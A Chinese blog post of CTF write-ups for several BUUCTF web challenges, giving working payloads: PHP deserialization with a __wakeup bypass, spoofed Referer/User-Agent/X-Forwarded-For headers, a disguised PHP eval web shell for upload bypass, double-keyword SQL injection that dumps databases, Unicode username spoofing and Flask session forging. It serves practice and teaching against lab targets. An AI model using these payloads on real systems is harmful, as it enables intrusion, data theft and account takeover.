BUU刷题

[极客大挑战 2019]PHP

题目说网站备份,直接www.zip,里面有个flag文件,提交了不对。

于是看其他的php文件,在index.php里,众多的HTML代码藏了这一串代码(非常不起眼)

 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

对我们传入的的select进行反序列化,然后赋给res变量。

class.php

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }                                                                  //调用前端输入的username和password

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

简单的分析一下
对我们传入的值进行反序列化
满足两点:

password=100
username=admin

构造payload:

<?php
class Name{
   private $username= 'nonono';
   private $password= 'yesyes';
public function_construct($username,$password){
    $this->username=$username;
    $this->password=$password;
}
}
$a=new Name('admin',100);
var_dump(serialize($a));
?>

可以得到:string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

_wakeup()函数与__sleep()函数相反,__sleep()函数,是在序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

那麽:string(77) "O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。

于是构造payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

或者

import  requests

url ="http://6f48bda4-c0e3-4ced-b753-c0af9e19b812.node3.buuoj.cn/"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

2019极客大挑战http

在这里插入图片描述
页面没什么东西,F12查看源码,看到了隐藏的secret.php,
用bp访问
在这里插入图片描述
要求我们必须从http://www.Sycsecret.com进入。
直接改header头信息即可,我们可以通过使用referer头来修改。
在这里插入图片描述
又要求我们用使用Syclover浏览器,我们可以通过更改UA头,来实现。

User-Agent: "Syclover" browser

在这里插入图片描述
要求我们在本地读取。
我们通过伪造XFF头就行修改。X-Forwarded-For:127.0.0.1
就得到了flag

[极客大挑战 2019]Upload

试了n次,最后
在这里插入图片描述
不过对普通的一句话有检测
这个:

GIF89a? <script language="php">eval($_REQUEST[shell])</script>

在这里插入图片描述

[极客大挑战 2019]BabySQL

注入题,盲猜admin',123456
[极客大挑战 2019]BabySQL
密码框报错,那就试一下admin,pwd'
在这里插入图片描述
闭合符号'
猜列数发现or和by都被过滤了。
在这里插入图片描述

双写绕过,得出三列。
联合查询注入发现过滤了union和select
在这里插入图片描述
双写绕过得到回显位
在这里插入图片描述
payload:pwd' ununionion seselectlect 1,2,database()#
在这里插入图片描述
再测试
在这里插入图片描述
又过滤了from,information(里面的or)和where
用payloadpwd' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='b4bsql' #
在这里插入图片描述
一张表是空,另一张表没有flag。
看了师傅们说的,flag没在这个数据库里。

payloadpwd' uniunionon selselectect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata) #
在这里插入图片描述
ctf库
在这里插入图片描述
payload:pwd' ununion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag
在这里插入图片描述
日常学废了。

[HCTF 2018]admin

进去
在这里插入图片描述
看源码没什么东西,注册一下进去。发现了post页面一顿操作,无果。
在这里插入图片描述
需要管理员。

方法一:Unicode欺骗
在chang password页面,发现细节
在这里插入图片描述
把东西下载下来

index.html里
在这里插入图片描述
session[‘name’]=admin就会给flag。
另一个
在这里插入图片描述
strlower函数(将所有大写字符转换为小写)

ᴬᴰᴹᴵᴺ -> ADMIN -> admin

先注册一个 ᴬᴰᴹᴵᴺ 账号,密码456,登陆进去。
修改密码为789,并且退出登录。
再次登录admin,密码789,登陆成功。
在这里插入图片描述

方法二:弱口令登录
账号admin,密码123(弱口令无敌)

方法三:
上面也说到了flask框架,由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

所以就给了我们可乘之机。

我们只需要伪造管理员的session就行了

先把我们的session进行解密

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

将我们的session进行解密(大师傅的图)
在这里插入图片描述
类似于上面这样
我们想要加密伪造生成自己想要的session还需要知道SECRET_KEY,然后我们在config.py里发现了SECRET_KEY。
config.py里面给了
在这里插入图片描述
flask session加密脚本点这

再更改session

{'_fresh': True, '_id': b'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4', 'csrf_token': b'd2495789467d55d9e38c2ffd63e9c578ee1b267a', 'image': b'BUXE', 'name': 'admin', 'user_id': '10'}

在这里插入图片描述
伪造好了session,抓包替换就行了。

刷web题的菜鸡。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值